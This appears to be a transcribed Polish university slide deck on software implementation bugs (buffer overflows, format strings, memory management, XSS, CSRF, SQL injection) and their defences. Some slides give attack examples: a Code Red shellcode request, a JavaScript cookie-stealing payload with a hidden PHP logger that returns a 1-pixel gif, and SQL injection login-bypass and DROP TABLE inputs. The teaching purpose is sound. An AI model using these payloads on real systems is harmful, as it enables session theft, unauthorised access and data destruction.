błędy implementacji oprogramowania
DESCRIPTION
Błędy implementacji oprogramowania. Przemysław Targalski, Krzysztof Szcześniak. Błędy implementacji oprogramowania. Błędy implementacji oprogramowania, to takie które popełnia nieświadomie programista, a z którymi skutkami musi najczęściej zmierzyć się administrator. - PowerPoint PPT PresentationTRANSCRIPT
![Page 1: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/1.jpg)
Błędy implementacji oprogramowania
Przemysław Targalski, Krzysztof Szcześniak
![Page 2: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/2.jpg)
Błędy implementacji oprogramowania
Błędy implementacji oprogramowania, to takie które popełnia nieświadomie programista, a z którymi skutkami musi najczęściej zmierzyć się administrator.
![Page 3: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/3.jpg)
Rodzaje błędów implementacji
• Buffer Overrun (przepełnienie bufora)• Nieprawidłowe zarządzanie pamięcią• Nieprawidłowa obróbka danych
uzyskanych od użytkownika:– Format Strings w C (Ciągi formatujące)– Błędy aplikacji WWW
• XSS• CSRF• SQL Injection
![Page 4: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/4.jpg)
Buffer overrun
• buffer overrun - błędy polegające na kontrolowanym nadpisywaniu przestrzeni adresowej procesu (np. stosu lub sterty) danymi, mogącymi zmienić przebieg wykonania procesu, np. poprzez modyfikację adresu powrotu funkcji lub wskaźnika do innej funkcji.
![Page 5: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/5.jpg)
Buffer overrun
• Wpisywanie większej ilości danych niż jest w stanie przechować bufor
• Off-by-one error – wpisanie wartości pod n-tym indeksem w n-elementowej tablicy
• Najbardziej narażone języki – C, C++
• Bezpieczne języki – Java, C#
![Page 6: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/6.jpg)
Buffer overrun
• Stack-based Overflows ( stack smashing ) – nadpisywanie danych na stosie
• Heap-based Overflows – nadpisywanie danych na stercie
![Page 7: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/7.jpg)
Stack-based Overflows
• void overflow_function (char *str) { char buffer[20];
strcpy(buffer, str);
}
![Page 8: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/8.jpg)
Stack-based Overflows
• Jeżeli bufor jest dostatecznie duży można go zapełnić złośliwym kodem, a do adresu powrotu wpisać adres tego bufora.
![Page 9: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/9.jpg)
Stack-based Overflows
• strcpy( char* dest, const char* src ); • strcat( char* dest, const char* src );
Obie funkcje zakładają że bufor dest ma wystarczający rozmiar aby zmieścić kopiowane dane.
• sprintf()
char buffer[512];sprintf(buffer, "Wrong command: %s\n", user);
![Page 10: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/10.jpg)
Stack-based Overflows
• Rozwiązanie (1) – dynamiczna alokacja pamięci:
dest = (char *)malloc(strlen(source) + 1);
if (dest) { strcpy(dest, source); }
else { /* Błąd alokacji pamięci */ … }
• Rozwiązanie (2) – bezpieczne odpowiedniki:
strcpy_s( char*dest, size_t sizeInBytes, const char* source);
strcat_s( char*dest, size_t sizeInBytes, const char* source);
![Page 11: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/11.jpg)
Stack-based Overflows
• gets(char* buffer); - pobiera dane ze standardowego wejścia.
• Bezpieczne odpowiedniki:
gets_s(buffer, sizeof(buffer));
fgets (buffer, sizeof(buffer), stdin);
![Page 12: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/12.jpg)
Stack-based Overflows
Sposoby ochrony:• Non-Executable Stacks• Address space layout randomization • Runtime Bounds Checkers • Canaries • StackGuard• Stack Smashing Protector (ProPolice)
• Libsafe and LibVerify
![Page 13: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/13.jpg)
Non-Executable Stacks
• Zakaz wykonywania instrukcji znajdujących się na stosie lub stercie.
• Blokada wykonywania istnieje od procesora 80286 na poziomie segmentów jednak nie przyjęła się.
• Bity NX ("No eXecute„ - AMD) lub XD ("eXecute Disabled„ - Intel) – blokada na poziomie stron pamięci.
Używane dopiero w Windows XP sp2 (Data Execution Prevention )
Exec Shield – patch dla linuxa• Nie uchroni przed atakami korzystającymi z bibliotek
systemowych np „return-to-libc attack”
![Page 14: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/14.jpg)
Address space layout randomization
• Losowy rozkład przestrzeni adresowej
• Dostarcza środków do wprowadzenia losowości do schematu adresowania wszystkich danych, które są ładowane do pamięci.
![Page 15: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/15.jpg)
Runtime Bounds Checkers
• C++ standardowo nie posiada takiej możliwości
• DevPartner for Visual C++
![Page 16: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/16.jpg)
Canaries
• „Kanarki” – pewne informacje dodane pomiędzy buforem a ważnymi danymi np. adresem powrotu – jeżeli zostaną zmienione wiemy, że nastąpiło przepełnienie bufora.
• Terminator canaries • Random canaries
• Random XOR canaries
![Page 17: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/17.jpg)
Canaries
![Page 18: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/18.jpg)
StackGuard
• Dodatek do kompilatora gcc 3.x
• Dodaje własny kod do każdej funkcji
• Używa „kanarka” obok adresu powrotu funkcji
• Przed powrotem z funkcji sprawdza poprawność „kanarka”
![Page 19: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/19.jpg)
Stack Smashing Protector (ProPolice)
• Dodatek do gcc 3.x
• Stworzony przez IBM, oparty na StackGuard
• Używany w m.in. w OpenBSD
• Możliwość użycia w gentoo po dopisaniu „hardened” do USE flags
![Page 20: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/20.jpg)
Libsafe and LibVerify
• Biblioteka wykrywająca przepełniania buforów w programach. Jest dołączana w sposób dynamiczny – nie trzeba nic rekompilować.
• Przechwytuje wywołania niebezpiecznych funkcji (strcpy() itp.) i sprawdza czy nie nastąpiło przepełnienie, jeśli nastąpiło aplikacja jest zabijana.
![Page 21: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/21.jpg)
Heap-based Overflows
• Trudniejsze do wykrycia
• Zależą od rodzaju danych zapisanych w pamięci
• Podmiana informacji takich jak uprawnienia użytkownika lub ścieżki dostępu do pliku.
![Page 22: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/22.jpg)
Heap-based Overflows
• #include <stdio.h> • #include <stdlib.h>
int main(int argc, char *argv[]) { FILE *fd; // Allocating memory on the heap char *userinput = malloc(20); char *outputfile = malloc(20); strcpy(outputfile, "/tmp/notes"); strcpy(userinput, argv[1]); fd = fopen(outputfile, "a"); if (fd == NULL) {
fprintf(stderr, "error opening %s\n", outputfile); exit(1); } fprintf(fd, "%s\n", userinput); fclose(fd); return 0;
}
![Page 23: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/23.jpg)
Heap-based Overflows
Sposoby ochrony:
• DieHard
• Electric fence
![Page 24: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/24.jpg)
DieHard
• Praktycznie eliminuje możliwość przepełnienia bufora na stercie.
• Alokuje obiekty losowo w pamięci, zdala od siebie
• Eliminuje błędy związane z podwójną dealokacją tego samego obszaru pamięci.
![Page 25: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/25.jpg)
Electric fence
• Biblioteka która po podlinkowaniu do programu przejmuje kontrolę nad zarządzaniem pamięcią.
• Eliminuje możliwość nadpisania jednego bufora innym.
• Każdy bufor jest alokowany na innej stronie. Wyjście poza bufor automatycznie zabija aplikację.
![Page 26: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/26.jpg)
Buffer overrun
• Niewykorzystane dziury
Microsoft Security Bulletin MS04-028
Buffer Overrun in JPEG Processing (GDI+) Could Allow Code Execution (833987)
Microsoft Security Bulletin MS03-023
Buffer Overrun In HTML Converter Could Allow Code Execution (823559)
![Page 27: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/27.jpg)
Buffer overrun
• Code Red – robak infekujący IIS
GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNN
%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801
%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3
%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0
![Page 28: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/28.jpg)
Buffer overrun
• Blaster (2003)– wykorzystał dziurę w DCOM RCP – powodował restart komputera po ok. 60 sekundach od połączenia z Internetem.
• Sasser (2004) – dziura w Local Security Authority Subsystem Service – losowe restarty komputera.
![Page 29: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/29.jpg)
Format Strings w C
• Częsty błąd przy wyświetlaniu tekstu gdy nie trzeba go formatować:
char tekst[100];
fgets (tekst, sizeof(tekst), stdin);
tekst[sizeof(tekst)-1]=‘\0’;
printf(tekst); // źle
printf(”%s”,tekst); //dobrze
![Page 30: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/30.jpg)
Format Strings w C
• Czy aby na pewno printf() tylko wyświetla?• %s – wyświetlanie łańcucha danych• %n – zapis ilości wypisanych do tej pory
znaków pod wskazany adres w pamięci.• %d – wyświetlanie liczby całkowitej• %20d – wyświetlanie liczby całkowitej i
ustawienie szerokości na 20 znaków (co pozwala dowolnie modyfikować ilość wyświetlonych znaków)
![Page 31: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/31.jpg)
Zarządzanie pamięcią
1. Alokacja pamięci na typ/obiekt reprezentujący dany zasób
2. Inicjalizacja obiektu reprezentującego zasób - doprowadzenie go do stanu gotowości do użycia (utworzenie połączenia sieciowego, otwarcie pliku, wypełnienie buforów itp.)
3. Użycie (być może wielokrotne) zasobu reprezentowanego przez obiekt.
4. Zakończenie wykorzystania zasobu (zamknięcie połączenia sieciowego, zamknięcie pliku, opróżnienie buforów itp.)
5. Zwolnienie pamięci przydzielonej na obiekt reprezentujący zasób.
![Page 32: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/32.jpg)
Zarządzanie pamięcią C/C++ kontra Java/.Net
• C/C++ samodzielne wykonanie wszystkich powyższych czynności
• Java/.Net zwalnia z części tych punktów:1. Automatyczna alokacja pamięci (punkt 1)
2. Automatyczne oczyszczanie z niepotrzebnych obiektów(5)
3. Wiele typów zasobów nie wymaga żadnych dodatkowych zabiegów związanych z ich zwalnianiem(4)
![Page 33: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/33.jpg)
Alokacja pamięci a typy
• Typy bezpośrednie (dziedziczą po System.ValueType), alokowane są na stosie, a zwalnianie pamięci odbywa się automatycznie
• Typy referencyjne (dziedziczą po System.Object ), alokowane są na stercie. W momencie uruchomienia tworzony jest wskaźnik alokacji (AllocPnt), pokazujący na adres w pamięci, pod którym zostanie utworzony następny obiekt.
![Page 34: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/34.jpg)
Sterta
Kiedy wywołujemy operator new :1. Sprawdzana jest wolna przestrzeń na
stercie2. jeśli nie ma wystarczająco dużo miejsca -
obszar sterty jest powiększany lub wykonywane jest jego porządkowanie - o tym w dalszej części artykułu
3. jeśli wolny obszar sterty jest odpowiednio duży, środowisko uruchomieniowe wywołuje konstruktor klasy tworzonego obiektu, a operator new zwraca obiekt nowo utworzonego obiektu (równy aktualnej wartości AllocPnt)
4. wartość wskaźnika AllocPnt zwiększana jest o wielkość pamięci przydzieloną nowo utworzonemu obiektowi
![Page 35: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/35.jpg)
Sterta c.d.
Po utworzeniu kilku obiektów sterta mogłaby wyglądać tak:
W przypadku braku miejsca a czyszczenie i powiększanie pamięci nie daje rezultatów otrzymujemy wyjątek OutOfMemoryException.
![Page 36: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/36.jpg)
Alokacja pamięci w C/C++
• Wolne obszary stery zapisywane są pod postacią listy wolnych obszarów
• Kosztowna alokacja nowych bloków1. wymaga przejrzenia listy wolnych bloków
2. znalezienia bloku o odpowiedniej wielkości
3. zmodyfikowania listy wolnych bloków tak, aby uwzględniała nowo zajęty obszar pamięci.
![Page 37: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/37.jpg)
Alokacja pamięci .Net
• Prostsza i szybsza niż w C/C++ gdyż wymaga jedynie inkrementacji jednego wskaźnika o odpowiednią wartość
• Otrzymujemy porównywalną szybkość alokacji pamięci na stosie jak i na stercie
![Page 38: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/38.jpg)
C/C++ błędy
• Główny problem tzw. przeciek pamięci :– Spowodowany niezwalnianiem alokowanego
obszaru– Samodzielne zwalnianie obiektu, dłużej nie
potrzebnego. Przeciek wtedy gdy zasoby są źle zwolnione, a referenecja do obiektu utracona.
– Brak mechanizmu garbage collector
![Page 39: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/39.jpg)
Garbage Collector
• Szybkie zaśmiecenie pamięci. Za odśmiecanie odpowiada gc.
• GC zwalnia niepotrzebne obiekty• Nie zwalnia nie zarządzanych zasobów (np.
otwartych plików, połączeń sieciowych)
![Page 40: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/40.jpg)
Finalizator klasy
• Instrukcje, jakie GC ma wykonać podczas tworzenia obiektu :
class TextClass
{
// finalizator klasy:
~TextClass()
{
//zwalnianie zasobów
}
}
![Page 41: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/41.jpg)
Kłopoty z finalizacją
• Stworzenie obiektów z finalizatorami trwa dwa razy dłużej niż tworzenie obiektów zarządzanych (związane z wypełnieniem przez środowisko dodatkowych struktur)
• Wywołania finalizatora spowalnia proces porządkowania pamięci.
• Obiekty z finalizatorem zwalniane są później niż obiekty zarządzane –przedłuża sztucznie „życie” niepotrzebnych obiektów
• Nie ma gwarancji co do kolejności niszczenia obiektów
![Page 42: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/42.jpg)
Kolejność niszczenia obiektów
![Page 43: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/43.jpg)
Ręczna finalizacja
• W ogólności najlepiej unikać tworzenia klas, które wymagają finalizacji.
• Problem w przypadku klas korzystających z plików, bądź połączeń sieciowych
• Rozwiązanie: danie możliwości ręcznego zwolnienia zasobów.• W środowisku .Net odpowiadają za to dwie metody:
1. close() – wywołania zwalnia wszystkie zajęte zasoby (zamyka pliki, opróżnia bufory). Jest możliwość ponownego otwarcia pliku
2. dispose() - jej wykonanie na stałe odbiera możliwość pracy z obiektem. Wszystkie zajęte zasoby są zwalniane, a obiekt nie nadaje się już do wykorzystania.
![Page 44: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/44.jpg)
Zarządzanie pamięcią - podsumowanie
• Napisanie programu w taki sposób, żeby nie próbował on czytać bądź zapisywać pamięci mu nie przydzielonej.
• Garbage Collector, któremu czasami trzeba „pomóc” w zwalnianiu zasobów.
• Skutki błędnego zarządzania :1. Może powodować błąd wykonania i natychmiastowe
zakończenie programu
2. Bardzo trudne do wykrycia błędy w systemach bez ochrony pamięci
![Page 45: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/45.jpg)
Zarządzanie pamięcią – podsumowanie 2
• Wyższość Java/.Net nad C/C++1. Tworzymy obiekt w C/C++ operatorem new2. Potem zwalniamy jego pamięć operatorem delete3. Zatrzymujemy jednak odnośnik do tej pamięci4. Utworzony inny obiekt może otrzymać zwolnioną pamięć5. Program otrzymuje możliwość dostępu do tej samej
pamięci, bo postrzega ją jako dwa różne rodzaje obiektów6. Konsekwencja takiego działania: nieprzewidywalne
zachowanie się programu i powstanie trudnych do wykrycia błędów.
Każdy błąd systemu może być potencjalnie wykorzystany do włamania się!!!
![Page 46: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/46.jpg)
WWW-XSS
• XSS (Cross Site Scripting ) nieświadome przekazywanie przez witryny internetowe złośliwego kodu.
• Atak składa się :1. przekazanie do aplikacji złośliwego kodu przez
napastnika;2. nieświadome pobranie od aplikacji złośliwego kodu
przez ofiarę; kod zostaje wykonany;3. dodatkowe akcje wykonywane przez atakującego.
![Page 47: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/47.jpg)
XSS
• Atakujący łączy się z aplikacją po czym wysyła złośliwy kod :
<SCRIPT type="text/javascript"> alert('Złośliwy kod!'); </SCRIPT>
• Taki kod może być np. treścią listu na forum czy adresem email w polu nadawcy.
• Aplikacja odbiera kod i zapisuje go w bazie danych • Użytkownik po zalogowaniu wchodzi na stronę i
nieświadomie wyświetla jego zawartość. W wyniku wyświetlenia zostaje wykonany złośliwy kod JavaScript, który przekazuje pewne dane atakującemu.
![Page 48: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/48.jpg)
Luki wykorzystywane przez XSS
• aplikacja wpuszcza złośliwy kod.• aplikacja wypuszcza złośliwy kod.• przeglądarka klienta wykonuje złośliwy kod.
![Page 49: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/49.jpg)
Ataki CSRF
(ang. Cross Site Request Forgeries) wykorzystują mechanizm działania protokołu HTTP.
Różnica CSRF i XSS• Po stronie klienta
– XSS wykorzystuje JavaScript– CSRF wykorzystuje HTTP
![Page 50: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/50.jpg)
CSRF
• <IMG src="ikona.png" alt="Ikona listy wypunktowanej"> , pobrany porzez zapytanie :
• GET ikona.png HTTP/1.1 • GET może odwoływać się do skryptu i przekazywać mu dodatkowe
dane GET skrypt.php?imie=Jan&wiek=43 HTTP/1.1 • Umieszczenie na stronie obrazu: <IMG src="skrypt.php?
imie=Jan&wiek=43" alt="Ikona..."> wywołuje skrypt skrypt.php i umieszcza zmienne imie oraz wiek.
• Samo wyświetlanie strony WWW może wywołać nieświadome wykorzystanie różnych skryptów.
![Page 51: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/51.jpg)
Luki wykorzystywane przez CSRF
• Wykorzystuje takie same luki jak XSS czyli :
1. aplikacja wpuszcza złośliwy kod.
2. aplikacja wypuszcza złośliwy kod.
3. przeglądarka klienta wykonuje złośliwy kod.
![Page 52: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/52.jpg)
Przykłady ataków w praktyce
Ciasteczka(cookies) – mechanizm służący do przekazywania danych od serwera WWW do przeglądarki użytkownika
• Kradzież „ciasteczek” – mamy strone z „ciasteczkami”• Dostępne są one w przeglądarce w kodzie Java.Script• document – kod witryny, który zawiera pole cookie• SCRIPT type="text/javascript"> alert(document.cookie);
</SCRIPT> - wyświetla na ekranie „cookies” ale nie kradnie ich• Kradzież możliwa np. poprzez zapytanie HTTP generowane przez
IMG <IMG src="zly.php?ciasteczka=imie=Jan;wiek=15"> • Ogólnie kod wygląda następująco :
![Page 53: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/53.jpg)
Przykłady ataków w praktyce c.d.
<SCRIPT type="text/javascript"> var adr = 'zly.php?ciasteczka=' +
escape(document.cookie); var obr = '<IMG src="' + adr + '">'; document.write(obr); </SCRIPT>
Oprócz tego przygotowujemy skrypt zly.php, który prześle ciasteczka do pliku ciasteczka.txt
Po zapisaniu ciasteczek do pliku musimy wysłać jakiś obrazek, jeżeli tego nie zrobimy możemy zdradzić swoją obecność, bo przeglądarka poinformuje, że obrazek nie został znaleziony lub pobrany. W tym celu możemy wysłać np. 1-piskelowy gif.
if (isset($_GET['ciasteczka'])) { writeDataFile(); }; $obraz = file_get_contents('1px-przezroczysty.gif'); header("Content-type: image/gif");
![Page 54: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/54.jpg)
Przykłady ataków w praktyce c.d.
• Wówczas napastnik jest zamaskowany gdyż:1. Przeglądarka wysyła do zly.php ciasteczka
2. W odpowiedzi dostaje 1-piksleowy obrazek gif.
• Efekt – pobranie ciasteczek, i właściwie brak widocznych efektów wizualnych (co najwyżej niewielka zmiana układu strony).
![Page 55: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/55.jpg)
Zabezpieczenia przed atakami XSS oraz CSRF
• Należy wyczyścić zarówno dane wpuszczane do bazy danych jak i wypuszczane z bazy danych do przeglądarki klienta.
• Szczególna uwaga na kod JavaScript i HTML.
• Dozwolone nieliczne znaczniki np.. P,BR, STRONG występujące np. w imieniu
![Page 56: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/56.jpg)
WWW-SQL Injection
• Atak na aplikacje (warstwę danych) w celu wydobycia danych użytkowników (tych które mogą być pobrane przez system) i zakłócenia pracy aplikacji.
• Atak polega na „wstrzyknięciu” zapytanie SQL poprzez formę na stronę WWW.
• Przykład: wysyłanie loginu i/lub hasła. Można tak spreparować zapytanie by uzyskać inny niezamierzony przez projektanta aplikacji efekt.
![Page 57: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/57.jpg)
Przykłady włamań 1
• Pominięcie autoryzacji :• Zakładając taki sposób logowania :“WHERE
login=‘Jacek’ AND password=’ala’”; wpiszemy:login=’ OR 1=1 –password=’’• Otrzymamy wówczas WHERE login= ‘’ OR 1=1 --’
AND password=’’”;• Alternatywa 1=1 jest zawsze prawdziwa –
otrzymujemy listę users.
![Page 58: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/58.jpg)
Przykłady włamań 2
• Jeżeli obiekt „users” posiada więcej niż jeden rekord nie zostanie wyświetlona lista transakcji użytkownika (warunek pomyślnej autoryzacji)
• Możliwość wpisania :
login=’ OR ID = 1 –password=’’• Zwróci dokładnie jeden obiekt w users gdzie ID=1 (jeżeli
istnieje takie ID). Ograniczenia : możemy nie znać nazw kolumn ( w szczególności ID). Rozwiązanie – metoda prób i błędów. Jeszcze prościej jest w przypadku gdy niektóre serwisy wyświetlają kody błędów bazy danych (jaka tabela, jaka operacja, w której kolumnie był błąd).
![Page 59: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/59.jpg)
Przykłady włamań 3
• Pozwala na usunięcie całej tabeli „users”
• Wystarczy w pole login wpisać :login:’; DROP TABLE users;
![Page 60: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/60.jpg)
Zabezpieczenia przed SQL Injection
• Walidacja danych wprowadzanych przez użytkownika
• Ograniczenie długości wprowadzanych danych
• Obróbka danych użytkownika w skrypcie.• Parametryzowane wywołanie zapytań SQL• Wykorzystywanie procedur składowych bazy• Ograniczenie praw dostępu do bazy danych• Ograniczenie informacji o błędzie
prezentowanej użytkownikowi
![Page 61: Błędy implementacji oprogramowania](https://reader035.vdocuments.net/reader035/viewer/2022062314/568132af550346895d9960c3/html5/thumbnails/61.jpg)